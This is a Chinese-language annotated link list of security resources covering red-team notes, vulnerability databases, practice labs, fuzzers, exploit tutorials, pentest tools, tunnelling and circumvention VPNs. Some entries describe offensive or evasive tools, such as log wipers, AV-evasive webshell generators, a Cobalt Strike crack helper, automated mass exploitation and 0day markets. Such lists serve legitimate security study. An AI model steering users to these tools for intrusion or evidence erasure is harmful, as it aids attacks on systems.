//PY.日本计算机应急团队开源的关于Windows下登录日志的追踪溯源,网络信息格式化展示。Github:Releasel0ck/NetTracer;。 勒索病毒 https://github.com/jiansiting/Decryption-Tools //勒索病毒解决方案汇总 https://www.nomoreransom.org //在线勒索病毒解决方案 开源情报数据源分析 https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_osint.md/ //开源情报数据源分析.mywiki 攻防技术资源 https://attack.mitre.org //mitre科技机构对攻击技术的总结wiki,攻击矩阵模型。 https://github.com/infosecn1nja/awesome-mitre-attack //Mitre ATT&CK™框架资源收集。Web:huntingday.github.io;G:lengjibo/ATT-CK-CN //att&ck实操实验记录;W:vulhub.org.cn/attack //att&ck汉化; https://github.com/Micropoor/Micro8 //Microporor高级攻防100课。goodjob。PHP安全新闻早8点课程 https://github.com/meitar/awesome-cybersecurity-blueteam // A curated collection of awesome resources, tools, and other shiny things for cybersecurity blue teams. https://bitvijays.github.io //infosec知识总结。goodjob。 https://github.com/Mel0day/RedTeam-BCS //BCS(北京网络安全大会)2019 红队行动会议重点内容,详细步骤。goodjob。 https://github.com/Snowming04/The-Hacker-Playbook-3-Translation //[译] 渗透测试实战第三版(红队版)The Hacker Playbook 3 https://github.com/OWASP/OWASP-Testing-Guide-v5 //OWASP 发布的渗透测试指南文档 https://github.com/jeansgit/RedTeam //RedTeam资料收集整理。红蓝对抗资料分享,红蓝对抗相关图片,内网安全渗透总结 https://github.com/yeyintminthuhtut/Awesome-Red-Teaming //优秀红队资源列表 https://github.com/Kinimiwar/Penetration-Testing //渗透测试方向优秀资源收集 https://github.com/jshaw87/Cheatsheets //渗透测试/安全秘籍/笔记 http://www.pentest-standard.org/index.php/Pre-engagement //渗透测试标准-渗透项目实施前的互动。项目实施前 https://github.com/r35tart/Penetration_Testing_Case //攻防测试案例 社工综合利用 https://www.freebuf.com/articles/102500.html //黑客讲述渗透Hacking Team全过程(详细解说) https://github.com/myselfexplorer/hackingLibrary //社工大佬的笔记手册 https://payloads.online/archivers/2019-05-21/1 //鱼叉攻击-尝试。qingxuan https://github.com/shegongbook/shegonganli //社工案例 Web漏洞攻防 https://portswigger.net/web-security //burpsuite官方web安全材料与实验室。testjob。 https://wizardforcel.gitbooks.io/web-hacking-101/content //Web Hacking 101 中文版 https://websec.readthedocs.io/zh/latest/ //Web安全学习笔记 https://techvomit.net/web-application-penetration-testing-notes/ //web渗透测试笔记 https://github.com/qazbnm456/awesome-web-security //Web安全资料和资源列表 https://www.lynda.com/JavaScript-tutorials/What-server-side-JavaScript-injection-SSJI/797717/5025838-4.html //SSJI服务的JavaScript注入 https://www.imperva.com/blog/nosql-ssji-authentication-bypass/ //SSJI服务的JavaScript注入 内网安全后渗透 https://attack.mitre.org/wiki/Lateral_Movement //mitre机构对横向移动的总结 https://github.com/l3m0n/pentest_study //从零开始内网渗透学习。G:Ridter/Intranet_Penetration_Tips;. https://github.com/uknowsec/Active-Directory-Pentest-Notes //个人域渗透学习笔记。配合域环境。goodjob。 公众号:域渗透 | Kerberos攻击速查表 // https://github.com/infosecn1nja/AD-Attack-Defense //AD活动目录攻击链与防御 https://github.com/nccgroup //国外安全咨询团队,burp插件的编写、内网利用工具、app安全工具 https://adsecurity.org //Active Directory安全攻防 https://3gstudent.github.io //AD域渗透/DNS/可信目录/横向移动。G:klionsec.github.io;。 https://daiker.gitbook.io/windows-protocol //本系列文章将针对内网渗透的常见协议(如kerbeos,ntlm,smb,ldap等)进行协议分析,相关漏洞分析以及漏洞工具分析利用。Windows凭证利用。W:彻底理解Windows认证 - 议题解读;。 https://www.anquanke.com/post/id/87976 //Powershell攻击指南黑客后渗透之道系列——基础篇\进阶利用\实战篇 漏洞挖掘复现分析 https://googleprojectzero.blogspot.com //谷歌Google Project Zero博客 https://github.com/ngalongc/bug-bounty-reference 漏洞挖掘write-up https://github.com/1hack0/bug-bounty-101 //挖洞技术手册 https://github.com/writeups/ios //ios漏洞writeup笔记 https://github.com/userlandkernel/plataoplomo //Sem Voigtländer 公开其发现的 iOS 中各种漏洞,包括(Writeup/POC/Exploit) https://github.com/Ivan1ee/NET-Deserialize //.Net反序列化漏洞 https://github.com/SCUBSRGroup/Automatic-Exploit-Generation //自动化软件漏洞发掘 https://github.com/offensive-security/exploitdb //美国Offensive Security的exploit-db.com漏洞库。kali团队,包含插件、漏洞环境等。 https://bugreader.com //国外知名厂商公开漏洞详情 https://blog.intigriti.com //intigriti公司bug bounty文章和公开漏洞详情 https://hackerone.com/hacktivity //HACKER ONE公开漏洞详情 https://dvpnet.io/lddt //DVP去中心化漏洞平台公开漏洞详情 https://sec.ly.com/bugs //同程安全公开漏洞详情 https://zeroday.hitcon.org/vulnerability/ //台湾公开漏洞库 常用漏洞库/SRC/BugBounty https://sploitus.com //公开漏洞搜索引擎。gOODjob。 twitter搜索“#exploit”、“#0day”、“CVE RCE” // https://github.com/raminfp/linux_exploit_development //linux漏洞利用开发手册 https://shuimugan.com //2016/06/24 13:25之前,乌云Drops文章,公开漏洞详情 https://0day.life //漏洞研究文章 https://blog.ripstech.com/filter/vulnerabilities/ //Bitbucket是Atlassian开发的版本控制软件与漏洞挖掘教程 http://ics.cnvd.org.cn //中国国家工控漏洞库 https://ics-cert.us-cert.gov/advisories //美国国家工控漏洞库 http://www.nsfocus.net/index.php?act=sec_bug //绿盟漏洞库,含工控 http://ivd.winicssec.com/ //威努特工控漏洞库 http://cve.scap.org.cn/view/ics //CVE中文工控漏洞库 https://cve.mitre.org/cve/search_cve_list.html //美国MITRE公司负责维护的CVE漏洞库 https://nvd.nist.gov/vuln/search //美国国家信息安全漏洞库 https://exchange.xforce.ibmcloud.com //IBM exchange漏洞库 https://www.zerodayinitiative.com/ //设备(firmware)漏洞市场 http://www.zerodium.com/ //灰色漏洞交易平台0day市场 https://0day.today //漏洞市场 BugBounty文章 https://github.com/xiangpasama/JDSRC-Small-Classroom //京东SRC小课堂系列文章 漏洞复现 https://github.com/vulhub/vulhub //Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,执行两条命令即可编译、运行一个完整的漏洞靶场镜像.4k。goodjob。 http://vulnstack.qiyuanxuetang.net/ //红日安全红队演练环境。P:从外网到域控(vulnstack靶机实战); https://github.com/Medicean/VulApps //收集各种漏洞环境,为方便使用,统一采用 Dockerfile 形式。同时也收集了安全工具环境。 https://github.com/c0ny1/vulstudy //使用docker快速搭建dvwa等各大漏洞学习平台 https://github.com/bingohuang/docker-labs //制作在线docker平台 离线靶场学习 https://www.soteria-int.com/ //西班牙游戏竞技模拟平台CYWARIA安全靶场,商业。 https://www.vulnhub.com //实验室、靶场、ctf靶机汇总,离线真实环境 https://github.com/WebGoat/WebGoat //JAVA.一键jar包web安全实验靶场 https://github.com/Audi-1/sqli-labs //PHP.基于SQLite的sql注入学习靶场 https://github.com/lcamry/sqli-labs //INTRO.通过sqli-labs演示mysql相关的注入手法 https://github.com/virusdefender/ssrf-app //PY.服务端请求伪造ssrf靶场实例 https://github.com/c0ny1/upload-labs //PHP.一个帮你总结所有类型的上传漏洞的靶场 https://github.com/LandGrey/upload-labs-writeup //INTRO.upload-labs指导手册 https://github.com/c0ny1/xxe-lab //一个包含php,JAVA.python,C#等各种语言版本的XXE漏洞Demo https://github.com/Go0s/LFIboomCTF //本地文件包含漏洞&&PHP利用协议&&实践源码 https://github.com/incredibleindishell/CORS-vulnerable-Lab //PHP.与COSR配置错误相关的漏洞代码靶场 https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/ //一个虚拟机文件用于linux提权练习 https://github.com/secvulture/dvta //CS客户端靶场 https://github.com/OWASP/igoat //适用于ios应用程序测试和安全性的学习工具 https://github.com/prateek147/DVIA-v2 //适用于ios应用程序测试和安全性的学习工具 https://github.com/abhi-r3v0/EVABS //C++.Android靶场联系 https://github.com/ethicalhack3r/DVWA //web安全实验靶场。新手指南:DVWA-1.9全级别教程 http://www.itsecgames.com //bWAPP,bee-box。包含owasp10,心脏滴血hearbleed等环境。noupdate https://github.com/bkimminich/juice-shop //常见web安全实验靶场市场 https://github.com/78778443/permeate //php.常见漏洞靶场 https://github.com/gh0stkey/DoraBox //php.常见漏洞靶场 https://github.com/stamparm/DSVW //PY2.常见漏洞靶场 https://github.com/amolnaik4/bodhi //PY.常见漏洞靶场 https://github.com/Safflower/Solve-Me //php.韩国一个偏代码审计的ctf靶场源码 https://github.com/rapid7/metasploitable3 //metasploit练习系统 https://github.com/rapid7/metasploit-vulnerability-emulator //perl.metasploit模拟环境,练习操作 在线靶场学习 https://www.hackthebox.eu //欧洲HTB靶场,在线真实环境 https://www.root-me.org //俄罗斯root me靶场。在线。社区版 https://lab.pentestit.ru //俄罗斯靶场,真实环境。在线。商业版。 https://www.offensive-security.com/information-security-certifications/ //kali攻防技术认证。商业版。 https://www.pentesteracademy.com //教程+视频+实验室+认证培训一套。商业版。 https://www.cybrary.it //网络安全工程师认证。CTF/Labs https://www.wechall.net //世界知名ctf汇总交流网站 https://www.ichunqiu.com/experiment/direction //i春秋实验室。Web/主机/应用/pwn教程 https://www.mozhe.cn/bug //墨者学院在线靶场。Web/主机/数据库/取证 https://www.xssgame.com //谷歌XSS挑战 http://xss.tv //在线靶场。;ctf.bugku.com;adworld.xctf.org.cn Fuzzer模糊测试 工控模糊测试Wurldtech Achilles阿基里斯国际认证 http://www.freebuf.com/articles/rookie/169413.html //一系列用于Fuzzing学习的资源汇总 https://github.com/secfigo/Awesome-Fuzzing //Fuzzing模糊测试相关学习资料 https://github.com/fuzzdb-project/fuzzdb //fuzz资料数据库 https://github.com/googleprojectzero/winafl //C.Google Project Zero 基于Windows AFL开发的模糊测试框架。原创技术分析-AFL漏洞挖掘技术漫谈 http://zeroyu.xyz/2019/05/15/how-to-use-afl-fuzz/ //intro.AFL使用指南 https://github.com/mxmssh/drAFL //C.Linux模糊测试。G:atrosinenko/kbdysch;G:google/oss-fuzz; https://github.com/zyw-200/FirmAFL //C.针对iot固件IoT firmware灰盒模糊测试 https://github.com/MozillaSecurity/peach //PY3.MozPeach是Peach v2.7的一个分支,由Mozilla Security维护。网络协议、web接口、文件格式模糊测试。W:peach.tech;G:TideSec/Peach_Fuzzing; https://github.com/cisco-sas/kitty //PY.针对TCP/IP的模糊测试框架。goodjob https://github.com/cisco-sas/katnip //PY.kitty框架的拓展库 https://github.com/jtpereyda/boofuzz //PY.基于OpenRCE/sulley框架二次开发的网络协议fuzz测试。 https://github.com/k0keoyo/kDriver-Fuzzer //C.基于ioctlbf框架编写的驱动漏洞挖掘工具kDriver Fuzzer https://github.com/google/honggfuzz //C.具有反馈驱动(Feedback-Driven)的持续性软件代码测试。2k。 https://github.com/bunzen/pySSDeep //PY.一个基于模糊哈希(Fuzzy Hashing)算法的工具。G:glaslos/ssdeep;G:ssdeep-project/ssdeep https://github.com/xmendez/wfuzz //PY.Web安全模糊测试工具,模块化可处理burp所抓请求和响应报文。goodjob,2k。 https://github.com/1N3/BlackWidow //PY.利用爬虫收集目标网站的情报信息并对 OWASP 漏洞进行模糊测试 https://bbs.ichunqiu.com/thread-24898-1-1.html //Test404 -HTTP Fuzzer V3.0 http://blog.topsec.com.cn/alphafuzzer/ //启明星辰阿尔法实验室以文件格式为主的漏洞挖掘工具 二进制学习pwn利用 https://www.52pojie.cn/thread-709699-1-1.html //160个CrackMe,附破解方法 https://github.com/euphrat1ca/0day-security-software-vulnerability-analysis-technology //0day安全:软件漏洞分析技术(第2版) 漏洞战争:软件漏洞分析精要 // 加密与解密(第4版) // modern windows exploit // cnit的二进制教程 // awesome windows exploit // https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gARObA //pwn学习三部曲学习 https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/page/4/ //exploit编写系列教程,10篇,后续在corelan网站上 https://www.fuzzysecurity.com/tutorials.html //fuzzysecurity教程。*egghunter http://www.securitysift.com/windows-exploit-development-part-1-basics // http://security.cs.rpi.edu/courses/binexp-spring2015/ //家用路由器0day https://github.com/timip/OSEE // https://www.youtube.com/watch?v=8zBpqc3HkSE&list=PLhx7-txsG6t6n_E2LgDGqgvJtCHPL7UFu //windbg教程 https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg //windbg https://rootkits.xyz/blog/ //windows内核系列 https://github.com/saaramar/35C3_Modern_Windows_Userspace_Exploitation // https://pwnrip.com/windows-kernel-exploitation-part-1-stack-buffer-overflows/ //windows kernel exploit https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References // https://github.com/ExpLife0011/awesome-windows-kernel-security-development //一些较新的win exploit资料 https://www.abatchy.com/tutorials //windows kernel exploit https://blahcat.github.io/tutorials/ //windows kernel exploit https://b3n7s.github.io/2017/11/01/windows-kernel-debugging-under-vmware-fusion.html //windows kernel debugging under vm fusion http://samdb.xyz/ //intro to kernel exploit https://github.com/hanc00l/rop_linux_kernel_pwn // https://github.com/xairy/linux-kernel-exploitation // https://azeria-labs.com/ //arm 溢出 https://github.com/Ma3k4H3d/Papers //AI/二进制逆向 技术手段利用方式工具集合 https://github.com/infosecn1nja/Red-Teaming-Toolkit //红队开源和商业工具。goodjob。 https://github.com/redcanaryco/atomic-red-team //Atomic Red Team团队关于win、linux、mac等多方面apt利用手段、技术与工具集。2k。 https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE //红队工具、攻击手段 https://github.com/toolswatch/blackhat-arsenal-tools //blackhat工具集 https://github.com/demonsec666/Security-Toolkit //渗透攻击链中常用工具及使用场景 https://github.com/n00py/ReadingList/blob/master/gunsafe.txt //安全工具集 https://github.com/k8gege/ //K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)。博客cnblogs.com/k8gege,常见解压密码Kk8team,Kk8gege。 https://www.parrotsec.org //鹦鹉安全操作系统。pentest kali系统类。 https://github.com/fireeye/commando-vm //FireEye开源CommandoVM,专为红队(pen-testing)定制的Windows。W:blackwin.ir,WINDOWS kali系统类; https://github.com/theLSA/hack-cs-tools //CS客户端测试工具,配合客户端checklist https://github.com/kabachook/k8s-security/ //bash/py.Kubernetes安全集合 https://github.com/microsoft/WindowsProtocolTestSuites //C#.针对Windows开发规范的Windows协议测试套件 https://github.com/ConsenSys/mythril-classic //用于以太坊智能协议的安全分析工具 https://github.com/lionsoul2014/ip2region //ip地址定位库,支持python3等多接口。类似于于geoip架构 https://github.com/ultrasecurity/webkiller //PY.渗透辅助。ip信息、端口服务指纹、蜜罐探测、bypass cloudflare https://github.com/medbenali/CyberScan //PY.渗透测试辅助工具。支持分析数据包、解码、端口扫描、IP地址分析等 https://github.com/opensec-cn/vtest //PY.用于辅助安全工程师漏洞挖掘、测试、复现,集合了mock、httplog、dns tools、xss,可用于测试各类无回显、无法直观判断或特定场景下的漏洞。 https://github.com/ismailtasdelen/hackertarget //PY.Use open source tools and network intelligence to help organizations with attack surface discovery and identification of security vulnerabilities. https://technitium.com/ //点对点加密聊天、mac地址修改、dns客户端与服务端、https https://github.com/feross/SpoofMAC //PY.跨平台mac修改 IPv6安全相关 https://github.com/sfan5/fi6s //ipv6端口快速扫描器 https://github.com/fgont/ipv6toolkit //C.si6networks.com组织的ipv6工具集 https://github.com/lavalamp-/ipv666 //GO.ipv6地址枚举扫描 https://github.com/christophetd/IPv6teal //PY.利用ipv6隐蔽隧道传输数据 信息保护隐匿流量洋葱路由 https://github.com/leitbogioro/Fuck_Aliyun //关闭阿里云监控服务 https://github.com/Nummer/Destroy-Windows-10-Spying //DWS用来关闭windows监控服务 https://github.com/JusticeRage/freedomfighting //日志清理、文件共享、反向shell https://github.com/Rizer0/Log-killer //日志清除,Windows/Linux 服务器中的所有 https://github.com/360-A-Team/EventCleaner //日志擦除工具 https://github.com/s-rah/onionscan //darkweb暗网爬虫 https://github.com/globaleaks/Tor2web //darkweb暗网代理服务器,将onion的服务变为普通的服务 https://github.com/milesrichardson/docker-onion-nmap //使用nmap扫描Tor网络上隐藏的"onion"服务 https://github.com/GouveaHeitor/nipe //一个使所有流量通过Tor网络发出的脚本 https://github.com/Edu4rdSHL/tor-router //bash.使用tor代理全部流量。dnsleaktest.com dns检测。 https://github.com/trimstray/multitor //bash.启用多个TorBrowser通道转发流量,并设置负载均衡 https://github.com/NullArray/NetSet //bash.终端多路复用器,其会话通过Tor路由,并通过自动安装和配置DNSCrypt-proxy来保护DNS流量。 容器安全 https://vulnerablecontainers.org //对公开docker容器镜像漏洞扫描,并标出CVE号 https://github.com/P3GLEG/WhaleTail //根据docker镜像生成成dockerfile https://github.com/cr0hn/dockerscan //docker扫描工具 https://github.com/knqyf263/trivy //GO.针对容器的漏洞扫描器.2K。 测试字典集 https://github.com/tarraschk/richelieu //.fr邮箱密码表 https://github.com/TheKingOfDuck/fuzzDicts/ //Web Pentesting Fuzz 字典。G:xmendez/wfuzz/tree/master/wordlist;G:We5ter/Scanners-Box;G:shack2/SNETCracker/dic; https://github.com/danielmiessler/SecLists //用户名,密码,URL,敏感数据模式,模糊测试负载,Web shell。G:7dog7/bottleneckOsmosis;G:Ridter/Pentest;。 https://github.com/alpha1e0/pentestdb //WEB渗透测试数据库。用于提供渗透测试的辅助工具(pentest-tool)、资源文件 https://github.com/brannondorsey/PassGAN //PY.深度学习,密码字典样本生成 https://github.com/Mebus/cupp //PY.根据用户习惯密码生成弱口令探测 https://github.com/Saferman/cupper //PY.根据用户习惯密码生成弱口令探测,楼上升级 https://github.com/LandGrey/pydictor //PY3.特定密码字典生成 https://github.com/HongLuDianXue/BaiLu-SED-Tool //pascal.白鹿社工字典生成器 程序功能模块库 https://github.com/Microsoft/SymCrypt Windows使用的核心功能加密库 https://github.com/unknownv2/CoreHook //C#.基于.NET Core运行时实现的Windows HOOK库 https://github.com/boy-hack/hack-requests //PY3.python包模块。burp数据包重放、线程安全、底层包日志分析 https://github.com/saghul/aiodns/ //PY.请求后无需关闭连接的情况下有效地进行多次调用的DNS解析器 相关工具拓展插件 菜刀相关工具 https://github.com/AntSword-Store/ //中国蚁剑插件市场 https://github.com/yzddmr6/as_webshell_venom //js.免杀webshell无限生成工具蚁剑版 https://github.com/Ch1ngg/CaidaoMitmProxy //PY3.基于HTTP代理中转菜刀过WAF,基于菜刀20160622版本修改和测试。 https://github.com/ekgg/Caidao-AES-Version //Burp插件.用AES算法透明加密菜刀的http数据流 burpsuit相关工具拓展插件 https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_burpsuite.md/ //burpsuite插件收集.mywiki https://github.com/PortSwigger //burpsuite官方插件库。商业版。 CobaltStrike相关工具拓展插件 https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_Cobaltstrike.md/ //cobaltstrike插件收集.mywiki https://www.cobaltstrike.com/aggressor-script/index.html //脱离MSF之后的Aggressor Script 成为了开源脚本引擎 Cortana 的接班人 https://github.com/verctor/CS_xor64 //JAVA.生成cobaltstrike破解版所需的xor64.bin https://github.com/Mr-Un1k0d3r/SCT-obfuscator //Cobalt Strike SCT有效载荷混淆器 https://github.com/dcsync/pycobalt //PY3.Python API for Cobalt Strike kali环境拓展插件 https://github.com/Manisso/fsociety //类似于于kali架构Linux下工具包一键安装工具 https://github.com/LionSec/katoolin //使用linux服务器自动安装kali工具包 https://github.com/TrustedSec/ptf/ //PY.基于Debian/Ubuntu/ArchLinux下的测试工具安装管理工具 https://github.com/koenbuyens/kalirouter 将kali设置为一个路由流量分析系统 https://github.com/secforce/sparta //PY.界面化,联动Nmap、Nikto、Hydra等工具 https://github.com/skavngr/rapidscan //PY2.simple,联动kali下工具,漏洞扫描工具 https://github.com/baguswiratmaadi/reverie //BASH.ParrotSecOs联动工具 Nessus相关工具拓展插件 https://github.com/se55i0n/Awvs_Nessus_Scanner_API //扫描器Awvs 11和Nessus 7 Api利用脚本 https://github.com/DanMcInerney/msf-autoshell //配合nessus扫描结果进行msf攻击 https://github.com/MooseDojo/apt2 //联动nmap、nessus等工具进行安全测试 awvs相关工具拓展插件 https://www.52pojie.cn/thread-214819-1-1.html //awvs10.5开发框架破解版。商业版。 https://github.com/fnmsd/awvs_script_decode //awvs10.5规则scripts解密版,SDK,开发手册 https://github.com/NS-Sp4ce/AWVS11.X-Chinese-Version //JS.awvs11汉化包 https://github.com/l3m0n/awvs_190703137 //PY.Linux版awvs https://github.com/grayddq/PublicSecScan //PY.调用awvsAPI对WEB资产进行分布式WEB安全扫描,发现web环境下常规的一些安全漏洞 sqlmap相关工具拓展插件 https://github.com/codewatchorg/sqlipy //burp与sqlmap联动插件 https://github.com/RicterZ/websocket-injection //PY2.WebSocket 中转注入工具 https://github.com/Hood3dRob1n/SQLMAP-Web-GUI //PHP.sqlmap的web gui https://github.com/KINGSABRI/sqlmap-tamper-api //利用各种语言来编写sqlmapTamper https://github.com/0xbug/SQLiScanner //一款基于sqlmapapi和Charles(青花瓷)的被动SQL注入漏洞扫描工具 https://github.com/fengxuangit/Fox-scan //基于sqlmapapi的主动和被动资源发现的漏洞扫描工具 https://github.com/UltimateHackers/sqlmate //在sqlmap基础上增加了目录扫描、hash爆破等功能 https://github.com/ysrc/GourdScanV2 //ysrc出品的被动式漏洞扫描工具,基于sqlmapapi https://github.com/zt2/sqli-hunter //基于sqlmapapi,ruby编写的漏洞代理型检测工具 https://github.com/jesuiscamille/AutoSQLi //利用DorkNet,Googler, Ddgr, WhatWaf 和 sqlmap自动注入 nmap相关工具拓展插件 https://github.com/Ullaakut/nmap //GO.Nmap调用库go https://github.com/savon-noir/python-libnmap //PY.nmap调用库python https://github.com/johnnyxmas/scancannon //BASH.联动masscan和nmap https://github.com/cldrn/nmap-nse-scripts //NSE收集列表 https://github.com/vulnersCom/nmap-vulners //使用nmap扫描常见的服务漏洞 https://github.com/s4n7h0/Halcyon //Nmap Script (NSE)IDE编辑器 https://github.com/m4ll0k/AutoNSE //NSE自动化利用 https://github.com/vulnersCom/nmap-vulners //lua.NSE利用 Vulners.com API将相关漏洞信息评分返回 https://github.com/Rvn0xsy/nse_vuln //Nmap扫描漏洞利用脚本。tomcat任意文件上传漏洞CVE-2017-12615、weblogic、http(CVE-2017-12615/CNVD-C-2019-4814/CVE-2018-2894) https://github.com/Screetsec/Dracnmap //BASH.将Nmap复杂的命令进行一定程度的集成与简化,使新用户更加容易上手。 https://github.com/cldrn/rainmap-lite //DjanGO.Web版Nmap,可以建立新的扫描服务器,允许用户从他们的手机/平板电脑/网络浏览器启动Nmap扫描 https://github.com/trimstray/sandmap //BASH.linux下Nmap可配置形式的命令行操作台 https://github.com/scipag/vulscan //基于nmap的高级漏洞扫描器,命令行环境使用 https://github.com/Rev3rseSecurity/WebMap //将nmap的xml web展示器 https://github.com/m0nad/HellRaiser //基于nmap的扫描器,与cve漏洞关联 https://github.com/materaj/nmap-parser-xml-to-csv //PY.Nnmap结果xml转换到csv https://github.com/DanMcInerney/msf-autopwn //执行NMap扫描或读取扫描结果, 然后自动使用msf攻击包含常见漏洞的主机 https://github.com/rootlabs/nWatch //联动nmap,并对组织内网进行扫描 https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest //集成子域名枚举、nmap、waf指纹识别等模块的web应用扫描器 https://github.com/ring04h/wyportmap //调用nmap目标端口扫描+系统服务指纹识别 https://github.com/cloudflare/flan //PY.cloudflare基于nmap开发的漏洞检测工具 metasploit相关工具拓展插件 https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit //结合机器学习与msf的全自动测试工具 https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL //一个可以创建SSL/TLS shell连接的脚本 https://github.com/DanMcInerney/msf-netpwn //等待msf的session,并自动提为域管理 https://github.com/NullArray/AutoSploit //利用Shodan API搜索引擎收集目标, 并自动调用设定的msf模块对目标发动攻击 https://github.com/WazeHell/metateta //使用msf脚本,根据特定协议进行扫描 https://github.com/fbkcs/msf-elf-in-memory-execution //Metasploit模块, 用于在内存中执行ELF文件 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit //metasploit双星攻击利用文件 https://github.com/darkoperator/Metasploit-Plugins //msf扩展资产搜集与帮助插件 https://github.com/D4Vinci/One-Lin3r //metasploit、payload辅助查询工具 https://github.com/shizzz477/msploitego //将msf数据库与maltego进行图形化展示 https://github.com/scriptjunkie/msfgui //metasploit的GUI界面,强化Windows下支持 https://github.com/Zerx0r/Kage //VueJS.图形化MSF的GUI界面,Session Handler控制。 Empire相关工具拓展插件 https://paper.tuisec.win/detail/f3dce68a0b4baaa //利用Empire获取域控权限 https://github.com/EmpireProject/Empire-GUI //empire的nodejs界面 https://github.com/interference-security/empire-web //empire的web界面 https://github.com/byt3bl33d3r/DeathStar //PY3.调用Empire RESTful API 自动化获取域管权限的 https://byt3bl33d3r.github.io/ //automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html //DeathStar教程 https://github.com/infosecn1nja/e2modrewrite //用于将Empire配置文件转换为Apache modrewrite脚本 端口转发映射代理穿透 https://github.com/fatedier/frp //Golang.用于内网穿透的高性能的反向代理应用,多协议支持,支持点对点穿透,范围端口映射。greatjob,25k。 https://github.com/inconshreveable/ngrok //GO.端口转发,正反向代理,内网穿透.17K。 https://github.com/cnlh/nps //GO.内网穿透代理服务器。支持tcp、udp流量转发,支持内网http代理、内网socks5代理,同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理,集成多用户模式。 https://github.com/sensepost/reGeorg //PY.reDuh 的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口(提供了php,asp,jsp脚本的正反向代理)。1K。G:nccgroup/ABPT 全加密; https://github.com/SECFORCE/Tunna //PY.将TCP协议通过HTTP封装传递,可以用于绕过防火墙环境中的网络限制。 https://github.com/vzex/dog-tunnel //GO.Linux下基于kcp的p2p端口映射工具,同时支持socks5代理。1.6k。 https://github.com/davrodpin/mole //GO.基于ssh的端口转发。 https://github.com/fbkcs/thunderdns //PY.将tcp流量通过DNS协议转发,不需要客户端和socket5支持。 https://github.com/securesocketfunneling/ssf //C++.TCP/UDP端口转发、socks代理、remote远程shell。 https://github.com/ls0f/gortcp //GO.内网穿透、远程文件上传下载、命令执行.Github:rtcp;Github:NATBypass; https://github.com/Dliv3/Venom //GO.类似于于Termite/EarthWorm架构的多节点连接跳板构建多级代理工具 https://github.com/decoder-it/psportfwd //PowerShell.无需admin权限进行端口转发 代理端口复用 https://nets.ec/Shellcode/Socket-reuse //C.套接字重用 https://github.com/earthquake/UniversalDVC //C++.利用动态虚拟通道注册dll文件,进行rdp服务端口复用 https://github.com/cloudflare/mmproxy //C.在负载均衡HAProxy代理的基础上支持proxy-protocol协议,可以传递客户端TCP协议的真实IP。配合Netsh、Iptables实现端口复用。 https://github.com/BeetleChunks/redsails //PY/C++.利用WinDivert驱动程序与windows内核交互,不更改端口开放状态进行端口复用TCP流量到另一个主机,在目标主机上执行命令且无需创建任何事件日志以及网络连接,可使用powershell。testjob。 代理池 https://github.com/SpiderClub/haipproxy //PY3.Scrapy and Redis,高可用ip代理池 https://github.com/chenjiandongx/async-proxy-pool //py3.异步爬虫ip代理池 https://github.com/audibleblink/doxycannon //PY.使用一个openvpn代理池,为每一个生成docker,当连接某一个vpn后,其它的进行socks5转发做流量分发 Cross超越边界自组网 https://github.com/ToyoDAdoubi/doubi //各种常用一键脚本 https://github.com/teddysun/across //BASH.npv、bbr、kms等脚本 https://github.com/Nyr/openvpn-install //openvpn一键安装 https://github.com/quericy/one-key-ikev2-vpn //CentOS/Debian/Ubuntu一键安装IPSEC/IKEV2 VPN脚本 http://www.vpngate.net //日本国立筑波大学云局域网 https://github.com/zerotier //C++.网络虚拟化平台云自组网 https://github.com/bannedbook/fanqiang/wiki //cross汇总 https://www.wireguard.com/install/ //新一代npv协议 https://github.com/teddysun/shadowsocks_install //shadowsocks/shadowsocksr https://github.com/guyingbo/shadowproxy //ss/socks5/http//https等多种代理 https://github.com/shadowsocks/shadowsocks-manager //shadowsocks多用户管理 https://github.com/leitbogioro/SSR.Go //shadowsocksrr配置管理简化工具 https://github.com/Ehco1996/django-sspanel //基于Django的shadowsocks网络面板 https://github.com/ssrpanel/SSRPanel //ss\ssr\v2ray用户分布式管理 https://github.com/xuanhuan/ss-panel //ss用户分布式管理 https://github.com/Ahref-Group/SS-Panel-smarty-Edition //ss用户分布式管理,兑换码功能、商城系统,服务器信息 https://github.com/txthinking/brook //GO.支持Linux/MacOS/Windows/Android/iOS的代理与vpn https://github.com/Ccapton/brook-web //brook程序服务端Web后台管理服务器(Linux\MacOS),基于python、flask、flask-restful https://github.com/Ccapton/brook-ok //bash.Brook一键安装脚本 https://github.com/v2ray //GO.多协议代理 https://github.com/gwuhaolin/lightsocks //轻量级网络混淆代理,基于 SOCKS5 协议,类SS https://github.com/Umbrellazc/BypassCampusNet //校园网防断网; UDP 53 免流上网 https://github.com/netchx/Netch //C#.类似于sockscap64通过进程选择代,通过虚拟网卡转为类VPN全局代理SSTAP,替代方案proxifier。 https://github.com/ntkernel/lantern //unlimited-landeng-for-win,无限流量蓝灯 https://www.psiphon3.com //开源赛风超越边界代理 https://hide.me //npv可试用 https://windscribe.com //npv可试用 https://mono.sh //飞机场 https://www.radmin-vpn.cn/ 花生壳蒲公英teamviewer内网穿透 https://ding-doc.dingtalk.com/doc#/kn6zg7/hb7000 //G:open-dingtalk/pierced 钉钉内网穿透 信息搜集OSINT http://www.scribd.com/document/72008744/OSINT-Cheat-Sheet //OSINT Cheat Sheet信息收集技巧 